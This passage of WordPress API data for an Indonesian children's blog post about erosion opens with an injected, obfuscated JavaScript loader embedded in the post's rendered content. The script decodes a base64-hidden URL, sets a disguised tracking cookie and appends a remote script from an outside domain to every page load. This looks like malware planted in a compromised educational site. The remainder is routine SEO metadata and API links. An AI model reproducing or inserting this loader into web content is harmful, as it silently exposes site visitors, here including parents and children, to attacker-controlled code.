key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Emosi Erosi itu apa sih? Mari kita simak tulisan yang asyik ini untuk mengetahui pengertian, penyebab, jenis, dampak, dan cara mencegahnya!\u00a0 &#8212; Halo adik-adik! Kamu pernah dengar tentang hutan yang gundul, ga? Atau, kamu pernah lihat pembangunan jalan di daerah tempat tinggalmu? Nah, sebenarnya penggundulan hutan dan pembangunan jalan merupakan salah satu dari aktivitas manusia [&hellip;]<\/p>\n","protected":false},"author":38,"featured_media":741,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_edit_lock":["1755069702:1"],"_edit_last":["1"],"_aioseo_title":[null],"_aioseo_description":["Erosi itu apa sih? Mari kita simak tulisan yang asyik ini untuk mengetahui pengertian, penyebab, jenis, dampak, dan cara mencegahnya!"],"_aioseo_keywords":["a:0:{}"],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":["a:0:{}"],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_knawatfibu_url":["https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/9a87cce4-d454-4a35-9d7b-44ff91828a0c.png"],"_wp_old_date":["2023-08-23","2024-08-07"],"_linker_next_update":["1769354662"],"_yoast_wpseo_metadesc":["Erosi itu apa sih? Mari kita simak tulisan yang asyik ini untuk mengetahui pengertian, penyebab, jenis, dampak, dan cara mencegahnya!"]},"categories":[1],"tags":[],"class_list":["post-741","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Erosi: Pengertian, Penyebab, Jenis, Dampak dan Cara Mencegah<\/title>\n<meta name=\"description\" content=\"Erosi itu apa sih? Mari kita simak tulisan yang asyik ini untuk mengetahui pengertian, penyebab, jenis, dampak, dan cara mencegahnya!\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Erosi: Pengertian, Penyebab, Jenis, Dampak dan Cara Mencegah\" \/>\n<meta property=\"og:description\" content=\"Erosi itu apa sih? Mari kita simak tulisan yang asyik ini untuk mengetahui pengertian, penyebab, jenis, dampak, dan cara mencegahnya!\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi\" \/>\n<meta property=\"og:site_name\" content=\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-13T02:00:22+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-19T23:25:13+00:00\" \/>\n<meta name=\"author\" content=\"Laras Sekar Seruni\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Laras Sekar Seruni\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi\",\"name\":\"Erosi: Pengertian, Penyebab, Jenis, Dampak dan Cara Mencegah\",\"isPartOf\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi#primaryimage\"},\"thumbnailUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/9a87cce4-d454-4a35-9d7b-44ff91828a0c.png\",\"datePublished\":\"2025-08-13T02:00:22+00:00\",\"dateModified\":\"2026-01-19T23:25:13+00:00\",\"author\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/d66c3a1b51b41c6e11eb51aec5540e03\"},\"description\":\"Erosi itu apa sih? Mari kita simak tulisan yang asyik ini untuk mengetahui pengertian, penyebab, jenis, dampak, dan cara mencegahnya!\",\"breadcrumb\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi#primaryimage\",\"url\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/9a87cce4-d454-4a35-9d7b-44ff91828a0c.png\",\"contentUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/9a87cce4-d454-4a35-9d7b-44ff91828a0c.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.altaglobalschool.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Erosi: Pengertian, Penyebab, Jenis, Dampak dan Cara Mencegah\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/\",\"name\":\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/d66c3a1b51b41c6e11eb51aec5540e03\",\"name\":\"Laras Sekar Seruni\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/1b0bca74fb24b423f727db69fdb22c4a6abce9dbe110e1bd3f15539699c8fe1a?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/1b0bca74fb24b423f727db69fdb22c4a6abce9dbe110e1bd3f15539699c8fe1a?s=96&d=mm&r=g\",\"caption\":\"Laras Sekar Seruni\"},\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/author\/laras-sekar-seruni\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Erosi: Pengertian, Penyebab, Jenis, Dampak dan Cara Mencegah","description":"Erosi itu apa sih? Mari kita simak tulisan yang asyik ini untuk mengetahui pengertian, penyebab, jenis, dampak, dan cara mencegahnya!","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi","og_locale":"en_US","og_type":"article","og_title":"Erosi: Pengertian, Penyebab, Jenis, Dampak dan Cara Mencegah","og_description":"Erosi itu apa sih? Mari kita simak tulisan yang asyik ini untuk mengetahui pengertian, penyebab, jenis, dampak, dan cara mencegahnya!","og_url":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi","og_site_name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","article_published_time":"2025-08-13T02:00:22+00:00","article_modified_time":"2026-01-19T23:25:13+00:00","author":"Laras Sekar Seruni","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Laras Sekar Seruni","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi","url":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi","name":"Erosi: Pengertian, Penyebab, Jenis, Dampak dan Cara Mencegah","isPartOf":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi#primaryimage"},"image":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi#primaryimage"},"thumbnailUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/9a87cce4-d454-4a35-9d7b-44ff91828a0c.png","datePublished":"2025-08-13T02:00:22+00:00","dateModified":"2026-01-19T23:25:13+00:00","author":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/d66c3a1b51b41c6e11eb51aec5540e03"},"description":"Erosi itu apa sih? Mari kita simak tulisan yang asyik ini untuk mengetahui pengertian, penyebab, jenis, dampak, dan cara mencegahnya!","breadcrumb":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi#primaryimage","url":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/9a87cce4-d454-4a35-9d7b-44ff91828a0c.png","contentUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/9a87cce4-d454-4a35-9d7b-44ff91828a0c.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-erosi#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.altaglobalschool.com\/blog"},{"@type":"ListItem","position":2,"name":"Erosi: Pengertian, Penyebab, Jenis, Dampak dan Cara Mencegah"}]},{"@type":"WebSite","@id":"https:\/\/www.altaglobalschool.com\/blog\/#website","url":"https:\/\/www.altaglobalschool.com\/blog\/","name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/d66c3a1b51b41c6e11eb51aec5540e03","name":"Laras Sekar Seruni","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/1b0bca74fb24b423f727db69fdb22c4a6abce9dbe110e1bd3f15539699c8fe1a?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/1b0bca74fb24b423f727db69fdb22c4a6abce9dbe110e1bd3f15539699c8fe1a?s=96&d=mm&r=g","caption":"Laras Sekar Seruni"},"url":"https:\/\/www.altaglobalschool.com\/blog\/author\/laras-sekar-seruni"}]}},"_links":{"self":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/741","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/users\/38"}],"replies":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/comments?post=741"}],"version-history":[{"count":8,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/741\/revisions"}],"predecessor-version":[{"id":1918,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/741\/revisions\/1918"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/741"}],"wp:attachment":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/media?parent=741"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/categories?post=741"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/tags?post=741"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}